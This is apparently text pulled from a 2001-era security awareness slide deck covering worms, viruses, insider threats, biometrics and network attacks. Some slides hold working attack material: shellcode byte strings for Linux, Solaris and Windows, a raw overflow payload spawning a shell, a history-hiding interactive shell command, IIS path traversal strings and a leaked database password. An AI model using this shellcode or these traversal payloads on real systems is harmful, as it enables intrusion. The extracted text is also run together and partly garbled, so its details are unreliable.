#> rlogin -l root tgtsunprod2Last login: Tue Jul 3 14:52:41 from tgtsunprod1Sun Microsystems Inc. SunOS 5.8 Generic February 2000 ***** Warning Government Classified Server ***You have mail.tgtsunprod2 #/usr/sbin/ifconfig -aulo0: flags=1000849<UP,LOOPBACK,RUNNING,MULTICAST,IPv4> mtu 8232 index 1 inet 127.0.0.1 netmask ff000000qfe0: flags=1000843<UP,BROADCAST,RUNNING,MULTICAST,IPv4> mtu 1500 index 2 inet 172.16.22.7 netmask ffffff00 broadcast 172.16.21.255 ether 8:0:20:f7:d0:78dhsunprod2 #uname -aSunOS tgtsunprod2 5.8 Generic_108528-04 sun4u sparc SUNW,Ultra-80tgtsunprod2 #id

final target compromised

________

___

uid=0(root) gid=1(other)

$ _

Who am I?

The Threat is Active• The blackhat community is

extremely active. – 20+ unique scans a day.– 100% - 900% increase of activity from

2000 to 2001– Its only getting worse

Don't Underestimate Cyberterrorists

Information Security is Information Security is Important …Important …

…because we have so many friends

…because we have so many friends

…because we have so many friends

…because we have so many friends

…because we have so many friends

The Attack

...........N..zCyhy...i..B...y...c....t...D.1..9P`.8../9...-.....

.........hjE.H.o.,B...."Oo...:.....'...i..%._~-...Z...RqAJX...p3.....p5o.j.../4/.H,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA........AAAA....AAAAAAAAAAAA..G@AAAA............AAAAAAAA....................................1....w..w..O.O.....1.....Q1..f......Y1.9.u.f..Xf9F.t.....1...1..?I..A..1...Q[....1.Ph//shh/bin..PS.......

[..]

68.168.1.15:52312 -> 127.0.0.1:443export TERM=xterm;export HOME=/tmp;export HISTFILE=/dev/null; export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin;exec bash -i.

68.168.1.15:52312 -> 127.0.0.1:443

Doom on You….

<SCRIPT LANGUAGE="VBScript" RUNAT="Server">Sub Application_OnStart   Set Db = Server.CreateObject("Commerce.DbServer")   Db.ConnectionString = "DSN=trans.db;UID=sa;PWD=n0t4u2c"   Db.Application = "http://10.1.1.16/"   Set Application("Db")   = DbEnd SubSub Session_OnStart   '==Visual InterDev Generated - DataConnection startspan==   '--Project Data Connection   Session("DataConn_ConnectionString") =   "DSN=CertSrv;DBQ=C:\WINNT2\System32\CertLog\certsrv.mdb;DriverId=25;   FIL=MS Access;MaxBufferSize=512;PageTimeout=5;"   Session("DataConn_ConnectionTimeout") = 15   Session("DataConn_CommandTimeout") = 30   Session("DataConn_RuntimeUserName") = ""   Session("DataConn_RuntimePassword") = ""   '==Visual InterDev Generated - DataConnection endspan==End Sub</SCRIPT>

User ID: sa

Password: n0t4u2c

Trojan Horse Sept 26, 2001

• Crackers posted a Trojan Horse masquerading as a wu-ftpd exploit on the Vuln-Dev mailing list.

• If the code is compiled and run, it will delete most files on the host’s hard drive

XSS Filter-Bypass Manipulation•This technique is used

pass various types of client-side scripting language through implemented security filters.

•The idea is to be able to achieve client-side execution of a client-side script.

•There are several techniques used to perform this attack.

E-mail Virus Oct 2001

• BP Openworld’s billing department has been sending out the BadTrans virus with its responses to recent e-mail inquiries– The virus launches a Trojan horse in

infected machines– BP Openworld is a subsidiary of British

Telecommunications offering internet services for business and home use

Format String Vulnerabilities

Any call that passes user-supplied input directly to aAny call that passes user-supplied input directly to a*printf()*printf()-family function is dangerous. These calls can-family function is dangerous. These calls canAlso be identified by their argument deficiency.Also be identified by their argument deficiency.Consider this code:Consider this code:

printf(“%s“, userdata);printf(“%s“, userdata);

printf(userdata);printf(userdata); Argument deficiency

Fingerprint Recognition: Sensors (I)

Optical fingerprint sensor[Fingerprint Identification Unit

FIU-001/500 by Sony]

Electro-optical sensor [DELSY® CMOS sensor modul]

Capacitive sensor[FingerTIP™ by Infineon]

Physical Access Controls

• Network Segregation• Perimeter Security• Security Guards• Badge Systems• Biometric Access Controls• Closed Circuit TV Monitoring• Sensors & Alarms

World Trade Center Virus

• The destructive TROJ_VOTE.A e-mail virus exploits the WTC tragedy– It attacks the infected users address

book to spread and send a message about peace between America and Islam

– It also installs two VBS files which attempt to delete the windows directory on reboot

The Threat from the Insider

NIMDA Worm

• The NIMDA worm raced around the world in only 30 minutes when it is was first released in Sept 2001

• Some AV experts recommended disconnecting from the Internet until patches and upgrades could be put into effect.

Iris Recognition

System for passive iris recognition by Sensar

Wireless Attacks• Wireless hacking is an increasing

threat to wired networks– Attackers can penetrate, monitor, and manipulate

data on traditional wired networks by accessing the system through its wireless sub-network.

– The attacker can intercede between two wired hosts behind a firewall, between a wired host and a wireless host, or between two wireless clients

– Uses a “man-in-the-middle” Address Resolution Protocol (ARP) cache poisoning attack.

Attack the Architecture

Java Runtime

WebServer

htmlhandler

html

jsp

text/htmlheader

/bin/sh

includefile

shtml

text/htmlheader

ProcessSSI tags

#exec#include

script/execu--table

ProcessJSP tags

JavaCompiler

class

shtmlhandler

jsphandler

defaulthandler

cgihandler

text/htmlheader

cgish,perl,…

SirCam Worm

• SirCam surfaced in mid-July 2001– Scoops up documents in an infected PC and

mails them to people in the user’s address book

– The most damaging aspect is its ability to enlist dormant viruses in the users’ files and mail them to others

– Result: viruses that might not have spread very far alone get wider distribution and older viruses will get new life

– By Aug 2001, SirCam had infected over 100,000 computers in the US

Viruses – File (Parasitic) Viruses• Simple File Viruses

– After transplanting itself in the executable, the executable often doesn’t work

• Stealth Component– Work very similar

to stealth system sector viruses

• Mask the file size of infected files when a directory listing is done on them

CyberTerrorism – Oct 2001

• The Pakastani hacker group G-Force defaced a US government web site and threatened to turn over “some very high confidential US data” to Al Queada officials if the war on terrorism continues

• This comes days after a government warning of sophisticated and sustained cyberattacks launched by pro-Muslim hacker groups such as G-Force, Doktor Nuker, and the Pakistan Hackerz Club

Redesi Worm – Oct 2001

• An e-mail attachment purporting to be a Microsoft software security patch is actually a worm– It spreads through e-mail– On Nov 11 the worm will reform the c:

drive of infected machines

Discretionary Access Control List (DACL)

• The DACL controls who can access the object and how.

permissions for only one user or one group at a

time

the object's Access Control

Settings

Credit Card Stealing Trojan

• Reported on Oct 29,2001 - Septer– Preying on sympathies for terrorist attack

victims, a credit card stealing trojan horse masquerading as an appeal for donations from the American Red Cross is making the rounds via e-mail

– Users click on the executable attachment and a donation request form loads. If completed, credit card numbers and contact information are saved and uploaded to a Web site.

NT Rootkit

• Rootkit console with Keyboard sniffing

Former Employee Attack

• Wendy Sholds allegedly broke into her former boss’s computer– She forwarded confidential e-mail to

other employees– She used the boss’s username and

password to view private information on the company web site

Security Models

• Security Models– Bell-LaPadula– Biba– Chinese Walls– Clark-Wilson

Hacker Alliance

• Three pro-Islamic hacker groups have joined forces to carry out attacks– Each group is carrying out digital

attacks under a common banner– They are anti-Israel, anti-US/UK, anti-

India

Round 1 Decoding:scripts/..%255c../winntbecomes:scripts/..%5c../winnt(%25 = “%” Character)

Round 2 Decoding:scripts/..%5c../winntbecomes:scripts/..\../winnt

Directory path traversal is now possible using path obfuscation through Double

Hex Encoding.

IIS Double Hex

USA Today Site Hacked

• The “USA Today” website was defaced with six bogus stories

• The site was taken offline for three hours

Security Testing

• Software will never be placed or deployed into a trusted or predictable environment

• Security testing requires attacking the software in a way that exercises the trust relationships.

• The software should be tested in ways that are unexpected while observing for behaviors that are unknown.

Student Data Exposed

• The permission level to access web logs at Resicom, a telecommunications company that provides intra-campus phone services to colleges was set too low– It allowed people to search for student

names, social security numbers and addresses

Microsoft Misrepresented Security

• A Federal Trade Commission (FTC) investigation found that Microsoft misrepresented both the level of security provided and the amount of data collected by its Passport services– Microsoft agreed to refrain from making

false claims about the information it collects and will submit to an independent audit of its security program every two years.

Programming Satan’s Computer

Cell Phone Virus

• A worm-type virus called Timofonica, hit customers of Spain’s Movistar service– It sends text messages scrolling across the

screens of cellular phones– It is the first virus known to target cell

pones – We can now expect copycat viruses

targeting cell phone and other hand-held devices such as Palm Pilots and Pocket PC computers

Microsoft Breakin

• A hacker broke into BetaPlace.com, Microsoft's web site for betatesters– evidently someone's log-in credentials were leaked to the

Internet. – Microsoft shut down the site after it became aware of the

breach; it also reset user passwords. – The site contains unreleased versions of Windows, other

software and activation keys. – A spokesman said the intruder did not access source

code. The event has sparked a criminal investigation.

The Method token indicates the method to be performed on the resource identified by the Request-URI.

HTTP 1.1 Methods

Buffer Overflows• Overwrite return address

– Examples of shell-code strings:

LINUX on Intel:char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh";

SPARC Solaris:char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08" "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";

Windows:char shellcode[] = "\x55\x8B\xEC\x33\xFF\x57\xC6\x45\xFC\x63\xC6\x45“ “\xFD\x6D\xC6\x45\xFE\x64\x57\xC6\x45\xF8\x03" "\x80\x6D\xF8\x50"   "\x8D\x45\xFC\x50\x90\xB8" "EXEC" "\xFF\xD0\x33\xC0\x50\x90” “\xB8" "EXIT" "\xFF\xD0\xC3";

Different Threat Scenarios

1. Regular biometric sensor using artificially generated biometric data

2. Replay attack of eavesdropped biometric data

3. Manipulation of stored biometric reference data

SNMP Management

Normal CAM Behavior III

A A B BMAC BMAC B

MAC CMAC C

MAC AMAC APort Port

11

A A B B

B is on Port 2B is on Port 2

I see do I see do NotNot see traffic to B!see traffic to B!

MACMAC

AA

BB

CC

PortPort

11

22

33

Double Encapsulated 802.1q VLAN Hopping Attack

• Send double encapsulated 802.1Q frames• Switch performs only one level of decapsulation• Unidirectional traffic only• Works even if trunk ports are set to off

Strip off First, and Strip off First, and Send Back outSend Back out

Note: Only works if trunk Note: Only works if trunk has the same native VLAN has the same native VLAN

as the attackeras the attacker

Hacking Cisco

Cisco Bugtraq Vulnerabilities

• 1998 - 3• 1999 - 5• 2000 - 23• 2001 - 46• 2002 (est) - 94

Typical Web Application Set-Up

WebServer

DB

DB

Web app

WebClient Web app

Web app

Web app

HTTPrequest

(cleartext or SSL)

HTTP reply(HTML,

Javascript, VBscript,

etc)

Plugins:•Perl•C/C++•JSP, etc

Database connection:•ADO,•ODBC, etc.

SQL Database

•Apache•IIS•Netscape etc…

Firewall

Traditional Hacking

• Requires specialized coding skills such as writing shell-code for buffer-overflows, etc.

• In short, it is a complex activity with a limited practitioner base.

...winsock_found:

xor eax, eaxpush eaxinc eaxpush eaxinc eaxpush eaxcall socketcmp eax, -1jnz socket_ok

push sockerrlpush offset sockerrcall write_consolejmp quit2

socket_ok:mov sock, eaxmov sin.sin_family, 2mov esi, offset _port

...

NT IIS Showcode ASP Vulnerability

• Active Server Page (ASP) script installed by default on Microsoft's Internet Information Server (IIS) 4.0

• Gives remote users access to view any file on the same volume as the web server that is readable by the web server.

http://www.someserver.com/msadc/Samples/SELECTOR/Showcode

asp?source=/msadc/Samples/../../../../../boot.ini

The MDAC AttackClient Server

Internet Explorer

or VB.exe

RDS Data

Control

OBDC Provider

RDS Data

Space

Custom Business Objects

RDS

Data Factory

ASP

(ADO)

Jet Provider Jet

3.5

OBDC

Remote Data Service

URL

HTML

OLE

DB

IIS

Server

Missile of Death

WebServer

DB

DB

Web app

Web app

Web app

Web app

An Example: Brute Forcing Session ID’s in URLS AUTOMATED DEMO!

$8.8 Billion Mistake by Microsoft

• According to Computer Economics, the worldwide economic impact of the Love Bug Virus was estimated at $8.75 billion

• The fact that Microsoft Outlook was designed to execute programs that were mailed to it made the virus possible..